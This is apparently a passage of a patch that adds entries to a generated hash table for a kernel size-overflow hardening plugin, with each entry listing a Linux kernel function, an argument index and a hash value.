++_001578_hash __nf_nat_mangle_tcp_packet 5-7 8190 _001578_hash NULL
++_001580_hash nf_nat_mangle_udp_packet 5-7 13321 _001580_hash NULL
++_001582_hash nfqnl_mangle 4-2 36226 _001582_hash NULL
++_001583_hash nfs4_realloc_slot_table 2 22859 _001583_hash NULL
++_001584_hash nfs_idmap_get_key 2 39616 _001584_hash NULL
++_001585_hash nfs_readdata_alloc 2 65015 _001585_hash NULL
++_001586_hash nfs_writedata_alloc 2 12133 _001586_hash NULL
++_001587_hash nfulnl_alloc_skb 2 65207 _001587_hash NULL
++_001588_hash ni65_alloc_mem 3 10664 _001588_hash NULL
++_001589_hash nsm_get_handle 4 52089 _001589_hash NULL
++_001590_hash ntfs_malloc_nofs 1 49572 _001590_hash NULL
++_001591_hash ntfs_malloc_nofs_nofail 1 63631 _001591_hash NULL
++_001592_hash nvme_create_queue 3 170 _001592_hash NULL
++_001593_hash ocfs2_control_write 3 54737 _001593_hash NULL
++_001595_hash orinoco_add_extscan_result 3 18207 _001595_hash NULL
++_001596_hash osd_req_read_sg_kern 5 6378 _001596_hash NULL
++_001597_hash osd_req_write_sg_kern 5 10514 _001597_hash NULL
++_001599_hash override_release 2 52032 _001599_hash NULL
++_001600_hash p9_client_read 5 19750 _001600_hash NULL
++_001601_hash packet_snd 3 13634 _001601_hash NULL
++_001602_hash pcbit_stat 2 27364 _001602_hash NULL
++_001603_hash pcpu_extend_area_map 2 12589 _001603_hash NULL
++_001604_hash pep_alloc_skb 3 46303 _001604_hash NULL
++_001605_hash pg_read 3 17276 _001605_hash NULL
++_001606_hash picolcd_debug_eeprom_read 3 14549 _001606_hash NULL
++_001607_hash pkt_alloc_packet_data 1 37928 _001607_hash NULL
++_001608_hash pmcraid_build_passthrough_ioadls 2 62034 _001608_hash NULL
++_001609_hash pn_raw_send 2 54330 _001609_hash NULL
++_001610_hash posix_clock_register 2 5662 _001610_hash NULL
++_001611_hash printer_read 3 54851 _001611_hash NULL
++_001612_hash __proc_file_read 3 54978 _001612_hash NULL
++_001613_hash pskb_may_pull 2 22546 _001613_hash NULL
++_001614_hash __pskb_pull 2 42602 _001614_hash NULL
++_001615_hash ptp_read 4 63251 _001615_hash NULL
++_001616_hash pt_read 3 49136 _001616_hash NULL
++_001617_hash put_cmsg 4 36589 _001617_hash NULL
++_001618_hash px_raw_event 4 49371 _001618_hash NULL
++_001619_hash qla4xxx_post_aen_work 3 46953 _001619_hash NULL
++_001620_hash qla4xxx_post_ping_evt_work 4 8074 _001819_hash NULL nohasharray
++_001621_hash raid5_resize 2 63306 _001621_hash NULL
++_001622_hash rawv6_sendmsg 4 20080 _001622_hash NULL
++_001623_hash rds_message_map_pages 2 31487 _001623_hash NULL
++_001624_hash rds_sendmsg 4 40976 _001624_hash NULL
++_001625_hash read_flush 3 43851 _001625_hash NULL
++_001626_hash read_profile 3 27859 _001626_hash NULL
++_001627_hash read_vmcore 3 26501 _001627_hash NULL
++_001628_hash redirected_tty_write 3 65297 _001628_hash NULL
++_001629_hash refill_pool 2 19477 _001629_hash NULL
++_001630_hash __register_chrdev 2-3 54223 _001630_hash NULL
++_001632_hash regmap_raw_write 4 53803 _001632_hash NULL
++_001633_hash reiserfs_allocate_list_bitmaps 3 21732 _001633_hash NULL
++_001634_hash reiserfs_resize 2 34377 _001634_hash NULL
++_001635_hash request_key_auth_read 3 24109 _001635_hash NULL
++_001636_hash rfcomm_wmalloc 2 58090 _001636_hash NULL
++_001637_hash rfkill_fop_read 3 54711 _001637_hash NULL
++_001638_hash rng_dev_read 3 41581 _001638_hash NULL
++_001639_hash roccat_read 3 41093 _001639_hash &_001034_hash
++_001640_hash rx 4 57944 _001640_hash NULL
++_001641_hash rxrpc_client_sendmsg 5 23236 _001641_hash NULL
++_001642_hash rxrpc_kernel_send_data 3 60083 _001642_hash NULL
++_001643_hash rxrpc_server_sendmsg 4 37331 _001643_hash NULL
++_001644_hash savu_sysfs_write 6 42273 _001644_hash NULL
++_001645_hash sco_sock_sendmsg 4 62542 _001645_hash NULL
++_001646_hash scsi_nl_send_vendor_msg 5 16394 _001646_hash NULL
++_001647_hash scsi_register 2 49094 _001647_hash NULL
++_001648_hash sctp_datamsg_from_user 4 55342 _001648_hash NULL
++_001649_hash sctp_getsockopt_events 2 3607 _001649_hash NULL
++_001650_hash sctp_getsockopt_maxburst 2 42941 _001650_hash NULL
++_001651_hash sctp_getsockopt_maxseg 2 10737 _001651_hash NULL
++_001652_hash sctp_make_chunk 4 12986 _001652_hash NULL
++_001653_hash sctpprobe_read 3 17741 _001653_hash NULL
++_001654_hash sctp_tsnmap_mark 2 35929 _001654_hash NULL
++_001655_hash sctp_ulpevent_new 1 33377 _001655_hash NULL
++_001656_hash sdhci_alloc_host 2 7509 _001656_hash NULL
++_001657_hash selinux_inode_post_setxattr 4 26037 _001657_hash NULL
++_001658_hash selinux_inode_setsecurity 4 18148 _001658_hash NULL
++_001659_hash selinux_inode_setxattr 4 10708 _001659_hash NULL
++_001660_hash selinux_secctx_to_secid 2 63744 _001660_hash NULL
++_001661_hash selinux_setprocattr 4 55611 _001661_hash NULL
++_001662_hash sel_write_context 3 25726 _001662_hash &_001329_hash
++_001663_hash send_command 4 10832 _001663_hash NULL
++_001664_hash seq_copy_in_user 3 18543 _001664_hash NULL
++_001665_hash seq_open_net 4 8968 _001779_hash NULL nohasharray
++_001666_hash seq_open_private 3 61589 _001666_hash NULL
++_001667_hash set_arg 3 42824 _001667_hash NULL
++_001668_hash sg_read 3 25799 _001668_hash NULL
++_001669_hash shash_async_setkey 3 10720 _003506_hash NULL nohasharray
++_001670_hash shash_compat_setkey 3 12267 _001670_hash NULL
++_001671_hash shmem_setxattr 4 55867 _001671_hash NULL
++_001672_hash simple_read_from_buffer 2-5 55957 _001672_hash NULL
++_001674_hash sisusb_clear_vram 2-3 57466 _001674_hash NULL
++_001676_hash sisusbcon_do_font_op 9 52271 _001676_hash NULL
++_001677_hash sisusb_copy_memory 4 35016 _001677_hash NULL
++_001678_hash sisusb_write 3 44834 _001678_hash NULL
++_001680_hash skb_cow 2 26138 _001680_hash NULL
++_001681_hash skb_cow_head 2 52495 _001681_hash NULL
++_001682_hash skb_make_writable 2 24783 _001682_hash NULL
++_001683_hash skb_padto 2 50759 _001683_hash NULL
++_001684_hash sk_stream_alloc_skb 2 57622 _001684_hash NULL
++_001685_hash smk_write_access2 3 19170 _001685_hash NULL
++_001686_hash smk_write_access 3 49561 _001686_hash NULL
++_001687_hash snd_es1938_capture_copy 5 25930 _001687_hash NULL
++_001688_hash snd_gus_dram_peek 4 9062 _001688_hash NULL
++_001689_hash snd_hdsp_capture_copy 5 4011 _001689_hash NULL
++_001690_hash snd_korg1212_copy_to 6 92 _001690_hash NULL
++_001691_hash snd_opl4_mem_proc_read 5 63774 _001691_hash NULL
++_001692_hash snd_pcm_oss_read1 3 63771 _001692_hash NULL
++_001693_hash snd_pcm_plugin_alloc 2 12580 _001693_hash NULL
++_001694_hash snd_rawmidi_kernel_read1 4 36740 _001694_hash NULL
++_001695_hash snd_rme9652_capture_copy 5 10287 _001695_hash NULL
++_001696_hash sock_alloc_send_pskb 2 21246 _001696_hash NULL
++_001697_hash sock_rmalloc 2 59740 _002491_hash NULL nohasharray
++_001698_hash sock_wmalloc 2 16472 _001698_hash NULL
++_001699_hash solos_param_store 4 34755 _001699_hash NULL
++_001702_hash srp_target_alloc 3 37288 _001702_hash NULL
++_001703_hash store_ifalias 4 35088 _001703_hash NULL
++_001704_hash store_msg 3 56417 _001704_hash NULL
++_001705_hash str_to_user 2 11411 _001705_hash NULL
++_001706_hash subbuf_read_actor 3 2071 _001706_hash NULL
++_001707_hash sys_fgetxattr 4 25166 _001707_hash NULL
++_001708_hash sys_gethostname 2 49698 _001708_hash NULL
++_001709_hash sys_getxattr 4 37418 _001709_hash NULL
++_001710_hash sys_init_module 2 36047 _001710_hash NULL
++_001711_hash sys_kexec_load 2 14222 _001711_hash NULL
++_001712_hash sys_lgetxattr 4 45531 _001712_hash NULL
++_001713_hash syslog_print 2 307 _001713_hash NULL
++_001714_hash sys_msgsnd 3 44537 _001714_hash &_000139_hash
++_001715_hash sys_process_vm_readv 3-5 19090 _003104_hash NULL nohasharray
++_001717_hash sys_process_vm_writev 3-5 4928 _001717_hash NULL
++_001719_hash sys_pselect6 1 57449 _001719_hash NULL
++_001720_hash sys_sched_getaffinity 2 60033 _001720_hash NULL
++_001721_hash sys_setsockopt 5 35320 _001721_hash NULL
++_001722_hash t3_init_l2t 1 8261 _001722_hash NULL
++_001723_hash t4vf_pktgl_to_skb 2 39005 _001723_hash NULL
++_001724_hash tcp_collapse 5-6 63294 _001724_hash NULL
++_001726_hash tcp_sendmsg 4 30296 _001726_hash NULL
++_001727_hash team_options_register 3 20091 _001727_hash NULL
++_001728_hash tipc_buf_acquire 1 60437 _001728_hash NULL
++_001729_hash tipc_cfg_reply_alloc 1 27606 _001729_hash NULL
++_001730_hash tipc_send2name 6 16809 _001730_hash NULL
++_001731_hash tipc_send2port 5 63935 _001731_hash NULL
++_001732_hash tipc_send 4 51238 _001732_hash NULL
++_001733_hash tnode_new 3 44757 _002769_hash NULL nohasharray
++_001734_hash tomoyo_read_self 3 33539 _001734_hash NULL
++_001735_hash tomoyo_update_domain 2 5498 _001735_hash NULL
++_001736_hash tomoyo_update_policy 2 40458 _001736_hash NULL
++_001737_hash tpm_read 3 50344 _001737_hash NULL
++_001738_hash TSS_rawhmac 3 17486 _001738_hash NULL
++_001739_hash __tty_buffer_request_room 2 27700 _001739_hash NULL
++_001740_hash tun_get_user 4 39099 _001740_hash NULL
++_001741_hash ubi_dump_flash 4 46381 _001741_hash NULL
++_001742_hash ubi_io_write 4-5 15870 _003453_hash NULL nohasharray
++_001744_hash udp_setsockopt 5 25985 _001744_hash NULL
++_001745_hash udpv6_setsockopt 5 18487 _001745_hash NULL
++_001746_hash uio_read 3 49300 _001746_hash NULL
++_001747_hash ulog_alloc_skb 1 23427 _001747_hash NULL
++_001748_hash unix_dgram_sendmsg 4 45699 _001748_hash NULL
++_001749_hash unlink1 3 63059 _001749_hash NULL
++_001751_hash usbdev_read 3 45114 _001751_hash NULL
++_001752_hash usblp_ioctl 2 30203 _001752_hash NULL
++_001753_hash usblp_read 3 57342 _003832_hash NULL nohasharray
++_001754_hash usbtmc_read 3 32377 _001754_hash NULL
++_001755_hash _usb_writeN_sync 4 31682 _001755_hash NULL
++_001756_hash user_read 3 51881 _001756_hash NULL
++_001757_hash vcs_read 3 8017 _001757_hash NULL
++_001758_hash vdma_mem_alloc 1 6171 _001758_hash NULL
++_001759_hash venus_create 4 20555 _001759_hash NULL
++_001760_hash venus_link 5 32165 _001760_hash NULL
++_001761_hash venus_lookup 4 8121 _001761_hash NULL
++_001762_hash venus_mkdir 4 8967 _001762_hash NULL
++_001763_hash venus_remove 4 59781 _001763_hash NULL
++_001764_hash venus_rename 4-5 17707 _003784_hash NULL nohasharray
++_001766_hash venus_rmdir 4 45564 _001766_hash NULL
++_001767_hash venus_symlink 4-6 23570 _001767_hash NULL
++_001769_hash vfs_readlink 3 54368 _001769_hash NULL
++_001770_hash vfs_readv 3 38011 _001770_hash NULL
++_001771_hash vfs_writev 3 25278 _001771_hash NULL
++_001772_hash vga_arb_read 3 4886 _001772_hash NULL
++_001773_hash vgacon_adjust_height 2 28124 _001773_hash NULL
++_001774_hash vhci_put_user 4 12604 _001774_hash NULL
++_001775_hash vhost_add_used_n 3 10760 _001775_hash NULL
++_001776_hash virtnet_send_command 5-6 61993 _001776_hash NULL
++_001778_hash vmbus_establish_gpadl 3 4495 _001778_hash NULL
++_001779_hash vol_cdev_read 3 8968 _001779_hash &_001665_hash
++_001780_hash wdm_read 3 6549 _001780_hash NULL
++_001781_hash write_adapter_mem 3 3234 _001781_hash NULL
++_001782_hash wusb_prf 7 54261 _001782_hash &_000065_hash
++_001783_hash xdi_copy_to_user 4 48900 _001783_hash NULL
++_001784_hash xfs_buf_associate_memory 3 17915 _001784_hash NULL
++_001785_hash xfs_buf_get_maps 2 4581 _001785_hash NULL
++_001786_hash xfs_buf_get_uncached 2 51477 _001786_hash NULL
++_001787_hash xfs_buf_item_get_format 2 189 _001787_hash NULL
++_001788_hash xfs_buf_map_from_irec 5 2368 _002641_hash NULL nohasharray
++_001789_hash xfs_dir2_block_to_sf 3 37868 _001789_hash NULL
++_001790_hash xfs_dir2_leaf_getdents 3 23841 _001790_hash NULL
++_001791_hash xfs_dir2_sf_addname_hard 3 54254 _001791_hash NULL
++_001792_hash xfs_efd_init 3 5463 _001792_hash NULL
++_001793_hash xfs_efi_init 2 5476 _001793_hash NULL
++_001794_hash xfs_iext_realloc_direct 2 20521 _001794_hash NULL
++_001795_hash xfs_iext_realloc_indirect 2 59211 _001795_hash NULL
++_001796_hash xfs_inumbers_fmt 3 12817 _001796_hash NULL
++_001797_hash xhci_alloc_streams 5 37586 _001797_hash NULL
++_001798_hash xlog_recover_add_to_cont_trans 4 44102 _001798_hash NULL
++_001799_hash xz_dec_lzma2_create 2 36353 _002713_hash NULL nohasharray
++_001800_hash _zd_iowrite32v_locked 3 44725 _001800_hash NULL
++_001801_hash a2mp_chan_alloc_skb_cb 2 27159 _001801_hash NULL
++_001802_hash aat2870_reg_read_file 3 12221 _001802_hash NULL
++_001803_hash add_partition 2 55588 _001803_hash NULL
++_001804_hash add_sctp_bind_addr 3 12269 _001804_hash NULL
++_001805_hash _add_sg_continuation_descriptor 3 54721 _001805_hash NULL
++_001806_hash afs_cell_lookup 2 8482 _001806_hash NULL
++_001807_hash afs_send_simple_reply 3 63940 _001807_hash NULL
++_001808_hash agp_allocate_memory_wrap 1 16576 _001808_hash NULL
++_001809_hash __alloc_bootmem 1 31498 _001809_hash NULL
++_001810_hash __alloc_bootmem_low 1 43423 _003425_hash NULL nohasharray
++_001811_hash __alloc_bootmem_node_high 2 65076 _001811_hash NULL
++_001812_hash alloc_cc770dev 1 48186 _001812_hash NULL
++_001813_hash __alloc_ei_netdev 1 29338 _001813_hash NULL
++_001814_hash __alloc_eip_netdev 1 51549 _001814_hash NULL
++_001815_hash alloc_libipw 1 22708 _001815_hash NULL
++_001816_hash _alloc_mISDN_skb 3 52232 _001816_hash NULL
++_001817_hash alloc_pg_vec 2 8533 _001817_hash NULL
++_001818_hash alloc_sja1000dev 1 17868 _001818_hash NULL
++_001819_hash alloc_targets 2 8074 _001819_hash &_001620_hash
++_001822_hash ath6kl_disconnect_timeout_read 3 3650 _001822_hash NULL
++_001823_hash ath6kl_endpoint_stats_read 3 41554 _001823_hash NULL
++_001824_hash ath6kl_fwlog_mask_read 3 2050 _001824_hash NULL
++_001825_hash ath6kl_keepalive_read 3 44303 _001825_hash NULL
++_001826_hash ath6kl_listen_int_read 3 10355 _001826_hash NULL
++_001827_hash ath6kl_lrssi_roam_read 3 61022 _001827_hash NULL
++_001828_hash ath6kl_regdump_read 3 14393 _001828_hash NULL
++_001829_hash ath6kl_regread_read 3 25884 _001829_hash NULL
++_001830_hash ath6kl_regwrite_read 3 48747 _001830_hash NULL
++_001831_hash ath6kl_roam_table_read 3 26166 _001831_hash NULL
++_001832_hash ath9k_debugfs_read_buf 3 25316 _001832_hash NULL
++_001833_hash ath9k_multi_regread 4 65056 _001833_hash NULL
++_001834_hash ath_rxbuf_alloc 2 24745 _001834_hash NULL
++_001835_hash atk_debugfs_ggrp_read 3 29522 _001835_hash NULL
++_001836_hash audit_log_n_untrustedstring 3 9548 _001836_hash NULL
++_001837_hash ax25_send_frame 2 19964 _001837_hash NULL
++_001838_hash b43_debugfs_read 3 24425 _001838_hash NULL
++_001839_hash b43legacy_debugfs_read 3 2473 _001839_hash NULL
++_001840_hash batadv_bla_is_backbone_gw 3 58488 _001840_hash NULL
++_001841_hash batadv_check_management_packet 3 52993 _001841_hash NULL
++_001842_hash batadv_check_unicast_packet 2 10866 _001842_hash NULL
++_001843_hash batadv_interface_rx 4 8568 _001843_hash NULL
++_001844_hash batadv_skb_head_push 2 11360 _001844_hash NULL
++_001845_hash bchannel_get_rxbuf 2 37213 _001845_hash NULL
++_001846_hash bcm_recvmsg 4 43992 _001846_hash NULL
++_001847_hash bfad_debugfs_read 3 13119 _001847_hash NULL
++_001848_hash bfad_debugfs_read_regrd 3 57830 _001848_hash NULL
++_001849_hash blk_init_tags 1 30592 _001849_hash NULL
++_001850_hash blk_queue_init_tags 2 44355 _001850_hash &_001022_hash
++_001851_hash blk_rq_map_kern 4 47004 _001851_hash NULL
++_001852_hash bm_entry_read 3 10976 _001852_hash NULL
++_001853_hash bm_status_read 3 19583 _001853_hash NULL
++_001854_hash bnad_debugfs_read 3 50665 _001854_hash NULL
++_001855_hash bnad_debugfs_read_regrd 3 51308 _001855_hash NULL
++_001856_hash bnx2i_send_nl_mesg 4 53353 _001856_hash NULL
++_001857_hash brcmf_debugfs_sdio_counter_read 3 58369 _001857_hash NULL
++_001858_hash brcmf_sdio_assert_info 4 52653 _001858_hash NULL
++_001859_hash brcmf_sdio_dump_console 4 37455 _001859_hash NULL
++_001860_hash brcmf_sdio_trap_info 4 48510 _001860_hash NULL
++_001861_hash btmrvl_curpsmode_read 3 46939 _001861_hash NULL
++_001862_hash btmrvl_gpiogap_read 3 4718 _001862_hash NULL
++_001863_hash btmrvl_hscfgcmd_read 3 56303 _001863_hash NULL
++_001864_hash btmrvl_hscmd_read 3 1614 _001864_hash NULL
++_001865_hash btmrvl_hsmode_read 3 1647 _001865_hash NULL
++_001866_hash btmrvl_hsstate_read 3 920 _001866_hash NULL
++_001867_hash btmrvl_pscmd_read 3 24308 _001867_hash NULL
++_001868_hash btmrvl_psmode_read 3 22395 _001868_hash NULL
++_001869_hash btmrvl_psstate_read 3 50683 _001869_hash NULL
++_001870_hash btmrvl_txdnldready_read 3 413 _001870_hash NULL
++_001871_hash btrfs_add_link 5 9973 _001871_hash NULL
++_001872_hash __btrfs_direct_write 4 22273 _001872_hash NULL
++_001873_hash btrfs_discard_extent 2 38547 _001873_hash NULL
++_001874_hash btrfs_file_aio_write 4 21520 _001874_hash NULL
++_001875_hash btrfs_find_create_tree_block 3 55812 _001875_hash NULL
++_001876_hash btrfsic_map_block 2 56751 _001876_hash NULL
++_001877_hash cache_read_pipefs 3 47615 _001877_hash NULL
++_001878_hash cache_read_procfs 3 52882 _001878_hash NULL
++_001879_hash cache_write_pipefs 3 48270 _001879_hash NULL
++_001880_hash cache_write_procfs 3 22491 _001880_hash NULL
++_001881_hash caif_stream_recvmsg 4 13173 _001881_hash NULL
++_001882_hash carl9170_alloc 1 27 _001882_hash NULL
++_001883_hash carl9170_debugfs_read 3 47738 _001883_hash NULL
++_001884_hash ceph_msgpool_init 4 34599 _001884_hash NULL
++_001885_hash cfpkt_add_trail 3 27260 _001885_hash NULL
++_001886_hash cfpkt_create 1 18197 _001886_hash NULL
++_001887_hash cfpkt_pad_trail 2 55511 _003606_hash NULL nohasharray
++_001888_hash cfpkt_split 2 47541 _001888_hash NULL
++_001889_hash cgroup_read_s64 5 19570 _001889_hash NULL
++_001890_hash cgroup_read_u64 5 45532 _001890_hash NULL
++_001891_hash channel_type_read 3 47308 _001891_hash NULL
++_001892_hash check_header 2 56930 _001892_hash NULL
++_001893_hash codec_list_read_file 3 24910 _001893_hash NULL
++_001894_hash configfs_read_file 3 1683 _001894_hash NULL
++_001895_hash console_store 4 36007 _001895_hash NULL
++_001896_hash cpuset_common_file_read 5 8800 _001896_hash NULL
++_001897_hash create_subvol 4 30836 _001897_hash NULL
++_001898_hash cxio_hal_init_resource 2-7-6 29771 _001898_hash &_000295_hash
++_001901_hash cxio_hal_init_rhdl_resource 1 25104 _001901_hash NULL
++_001902_hash dai_list_read_file 3 25421 _001902_hash NULL
++_001903_hash dapm_bias_read_file 3 64715 _001903_hash NULL
++_001904_hash dapm_widget_power_read_file 3 59950 _001983_hash NULL nohasharray
++_001907_hash dbgfs_frame 3 45917 _001907_hash NULL
++_001908_hash dbgfs_state 3 38894 _001908_hash NULL
++_001909_hash dccp_manip_pkt 2 30229 _001909_hash NULL
++_001910_hash ddp_ppod_write_idata 5 25610 _001910_hash NULL
++_001911_hash debugfs_read 3 62535 _001911_hash NULL
++_001912_hash debug_output 3 18575 _001912_hash NULL
++_001913_hash debug_read 3 19322 _001913_hash NULL
++_001914_hash dev_alloc_skb 1 19517 _001914_hash &_001366_hash
++_001915_hash dfs_file_read 3 18116 _001915_hash NULL
++_001916_hash diva_alloc_dma_map 2 23798 _001916_hash NULL
++_001917_hash diva_xdi_write 4 63975 _001917_hash NULL
++_001918_hash dma_memcpy_pg_to_iovec 6 1725 _001918_hash NULL
++_001919_hash dma_memcpy_to_iovec 5 12173 _001919_hash NULL
++_001920_hash dma_show_regs 3 35266 _001920_hash NULL
++_001921_hash dm_exception_table_init 2 39645 _001921_hash &_001149_hash
++_001922_hash dn_nsp_do_disc 2-6 49474 _001922_hash NULL
++_001924_hash dn_recvmsg 4 17213 _001924_hash NULL
++_001925_hash dns_resolver_read 3 54658 _001925_hash NULL
++_001926_hash do_msgrcv 4 5590 _001926_hash NULL
++_001927_hash do_syslog 3 56807 _001927_hash NULL
++_001928_hash dpcm_state_read_file 3 65489 _001928_hash NULL
++_001929_hash dsp_cmx_send_member 2 15625 _001929_hash NULL
++_001930_hash fallback_on_nodma_alloc 2 35332 _001930_hash NULL
++_001931_hash fc_frame_alloc 2 1596 _001931_hash NULL
++_001932_hash fc_frame_alloc_fill 2 59394 _001932_hash NULL
++_001933_hash filter_read 3 61692 _001933_hash NULL
++_001934_hash __finish_unordered_dir 4 33198 _001934_hash NULL
++_001935_hash format_devstat_counter 3 32550 _001935_hash NULL
++_001936_hash fragmentation_threshold_read 3 61718 _001936_hash NULL
++_001937_hash fuse_conn_limit_read 3 20084 _001937_hash NULL
++_001938_hash fuse_conn_waiting_read 3 49762 _001938_hash NULL
++_001939_hash fuse_file_aio_write 4 46399 _001939_hash NULL
++_001940_hash generic_readlink 3 32654 _001940_hash NULL
++_001941_hash gre_manip_pkt 2 38785 _001941_hash NULL
++_001942_hash handle_eviocgbit 3 44193 _001942_hash NULL
++_001943_hash handle_response 5 55951 _001943_hash NULL
++_001944_hash handle_response_icmp 7 39574 _001944_hash NULL
++_001945_hash hash_recvmsg 4 50924 _001945_hash NULL
++_001946_hash hci_send_cmd 3 43810 _001946_hash NULL
++_001947_hash hci_si_event 3 1404 _001947_hash NULL
++_001948_hash help 4 14971 _001948_hash NULL
++_001949_hash hfcpci_empty_bfifo 4 62323 _001949_hash NULL
++_001950_hash hidp_send_ctrl_message 4 43702 _001950_hash NULL
++_001951_hash ht40allow_map_read 3 55209 _001951_hash &_001512_hash
++_001952_hash hwflags_read 3 52318 _001952_hash NULL
++_001953_hash hysdn_conf_read 3 42324 _001953_hash NULL
++_001954_hash hysdn_sched_rx 3 60533 _001954_hash NULL
++_001955_hash i2400m_rx_stats_read 3 57706 _001955_hash NULL
++_001956_hash i2400m_tx_stats_read 3 28527 _001956_hash NULL
++_001957_hash icmp_manip_pkt 2 48801 _001957_hash NULL
++_001958_hash idmouse_read 3 63374 _001958_hash NULL
++_001959_hash ieee80211_if_read 3 6785 _001959_hash NULL
++_001960_hash ieee80211_rx_bss_info 3 61630 _001960_hash NULL
++_001961_hash ikconfig_read_current 3 1658 _001961_hash NULL
++_001962_hash il3945_sta_dbgfs_stats_table_read 3 48802 _001962_hash NULL
++_001963_hash il3945_ucode_general_stats_read 3 46111 _001963_hash NULL
++_001964_hash il3945_ucode_rx_stats_read 3 3048 _001964_hash NULL
++_001965_hash il3945_ucode_tx_stats_read 3 36016 _001965_hash NULL
++_001966_hash il4965_rs_sta_dbgfs_rate_scale_data_read 3 37792 _001966_hash NULL
++_001967_hash il4965_rs_sta_dbgfs_scale_table_read 3 38564 _001967_hash NULL
++_001968_hash il4965_rs_sta_dbgfs_stats_table_read 3 49206 _001968_hash NULL
++_001969_hash il4965_ucode_general_stats_read 3 56277 _001969_hash NULL
++_001970_hash il4965_ucode_rx_stats_read 3 61948 _001970_hash NULL
++_001971_hash il4965_ucode_tx_stats_read 3 12064 _001971_hash NULL
++_001972_hash il_dbgfs_chain_noise_read 3 38044 _001972_hash NULL
++_001973_hash il_dbgfs_channels_read 3 25005 _001973_hash NULL
++_001974_hash il_dbgfs_disable_ht40_read 3 42386 _001974_hash NULL
++_001975_hash il_dbgfs_fh_reg_read 3 40993 _001975_hash NULL
++_001976_hash il_dbgfs_force_reset_read 3 57517 _001976_hash NULL
++_001977_hash il_dbgfs_interrupt_read 3 3351 _001977_hash NULL
++_001978_hash il_dbgfs_missed_beacon_read 3 59956 _001978_hash NULL
++_001979_hash il_dbgfs_nvm_read 3 12288 _001979_hash NULL
++_001980_hash il_dbgfs_power_save_status_read 3 43165 _001980_hash NULL
++_001981_hash il_dbgfs_qos_read 3 33615 _001981_hash NULL
++_001982_hash il_dbgfs_rxon_filter_flags_read 3 19281 _001982_hash NULL
++_001983_hash il_dbgfs_rxon_flags_read 3 59950 _001983_hash &_001904_hash
++_001984_hash il_dbgfs_rx_queue_read 3 11221 _001984_hash NULL
++_001985_hash il_dbgfs_rx_stats_read 3 15243 _001985_hash NULL
++_001986_hash il_dbgfs_sensitivity_read 3 2370 _001986_hash NULL
++_001987_hash il_dbgfs_sram_read 3 62296 _001987_hash NULL
++_001988_hash il_dbgfs_stations_read 3 21532 _001988_hash NULL
++_001989_hash il_dbgfs_status_read 3 58388 _001989_hash NULL
++_001990_hash il_dbgfs_tx_queue_read 3 55668 _001990_hash NULL
++_001991_hash il_dbgfs_tx_stats_read 3 32913 _001991_hash NULL
++_001992_hash ima_show_htable_value 2 57136 _001992_hash NULL
++_001994_hash intel_fake_agp_alloc_by_type 1 1 _001994_hash NULL
++_001995_hash ip4ip6_err 5 36772 _001995_hash NULL
++_001996_hash ip6_append_data 4-5 36490 _003601_hash NULL nohasharray
++_001997_hash ip6ip6_err 5 18308 _001997_hash NULL
++_001998_hash __ip_append_data 7-8 36191 _001998_hash NULL
++_001999_hash ip_vs_icmp_xmit 4 59624 _001999_hash NULL
++_002000_hash ip_vs_icmp_xmit_v6 4 20464 _002000_hash NULL
++_002001_hash ipw_write 3 59807 _002001_hash NULL
++_002002_hash irda_recvmsg_stream 4 35280 _002002_hash NULL
++_002003_hash irq_domain_add_simple 2 46734 _002003_hash NULL
++_002004_hash __iscsi_complete_pdu 4 10726 _002004_hash NULL
++_002005_hash iscsi_nop_out_rsp 4 51117 _002005_hash NULL
++_002006_hash iscsi_tcp_conn_setup 2 16376 _002006_hash NULL
++_002007_hash iwl_dbgfs_bt_traffic_read 3 35534 _002007_hash NULL
++_002008_hash iwl_dbgfs_calib_disabled_read 3 22649 _002008_hash NULL
++_002009_hash iwl_dbgfs_chain_noise_read 3 46355 _002009_hash NULL
++_002010_hash iwl_dbgfs_channels_read 3 6784 _002010_hash NULL
++_002011_hash iwl_dbgfs_current_sleep_command_read 3 2081 _002011_hash NULL
++_002012_hash iwl_dbgfs_disable_ht40_read 3 35761 _002012_hash NULL
++_002013_hash iwl_dbgfs_fh_reg_read 3 879 _002013_hash &_000406_hash
++_002014_hash iwl_dbgfs_interrupt_read 3 23574 _002014_hash NULL
++_002015_hash iwl_dbgfs_log_event_read 3 2107 _002015_hash NULL
++_002016_hash iwl_dbgfs_missed_beacon_read 3 50584 _002016_hash NULL
++_002017_hash iwl_dbgfs_nvm_read 3 23845 _002017_hash NULL
++_002018_hash iwl_dbgfs_plcp_delta_read 3 55407 _002018_hash NULL
++_002019_hash iwl_dbgfs_power_save_status_read 3 54392 _002019_hash NULL
++_002020_hash iwl_dbgfs_protection_mode_read 3 13943 _002020_hash NULL
++_002021_hash iwl_dbgfs_qos_read 3 11753 _002021_hash NULL
++_002022_hash iwl_dbgfs_reply_tx_error_read 3 19205 _002022_hash NULL
++_002023_hash iwl_dbgfs_rf_reset_read 3 26512 _002023_hash NULL
++_002024_hash iwl_dbgfs_rx_handlers_read 3 18708 _002024_hash NULL
++_002025_hash iwl_dbgfs_rxon_filter_flags_read 3 28832 _002025_hash NULL
++_002026_hash iwl_dbgfs_rxon_flags_read 3 20795 _002026_hash NULL
++_002027_hash iwl_dbgfs_rx_queue_read 3 19943 _002027_hash NULL
++_002028_hash iwl_dbgfs_sensitivity_read 3 63116 _002731_hash NULL nohasharray
++_002029_hash iwl_dbgfs_sleep_level_override_read 3 3038 _002029_hash NULL
++_002030_hash iwl_dbgfs_sram_read 3 44505 _002030_hash NULL
++_002031_hash iwl_dbgfs_stations_read 3 9309 _002031_hash NULL
++_002032_hash iwl_dbgfs_status_read 3 5171 _002032_hash NULL
++_002033_hash iwl_dbgfs_temperature_read 3 29224 _002033_hash NULL
++_002034_hash iwl_dbgfs_thermal_throttling_read 3 38779 _002034_hash NULL
++_002035_hash iwl_dbgfs_tx_queue_read 3 4635 _002035_hash NULL
++_002036_hash iwl_dbgfs_ucode_bt_stats_read 3 42820 _002036_hash NULL
++_002037_hash iwl_dbgfs_ucode_general_stats_read 3 49199 _002037_hash NULL
++_002038_hash iwl_dbgfs_ucode_rx_stats_read 3 58023 _002038_hash NULL
++_002039_hash iwl_dbgfs_ucode_tracing_read 3 47983 _002039_hash &_000356_hash
++_002040_hash iwl_dbgfs_ucode_tx_stats_read 3 31611 _002040_hash NULL
++_002041_hash iwl_dbgfs_wowlan_sram_read 3 540 _002041_hash NULL
++_002042_hash joydev_ioctl 2 33343 _002042_hash NULL
++_002043_hash kernel_readv 3 35617 _002043_hash NULL
++_002044_hash key_algorithm_read 3 57946 _002044_hash NULL
++_002045_hash key_icverrors_read 3 20895 _002045_hash NULL
++_002046_hash key_key_read 3 3241 _002046_hash NULL
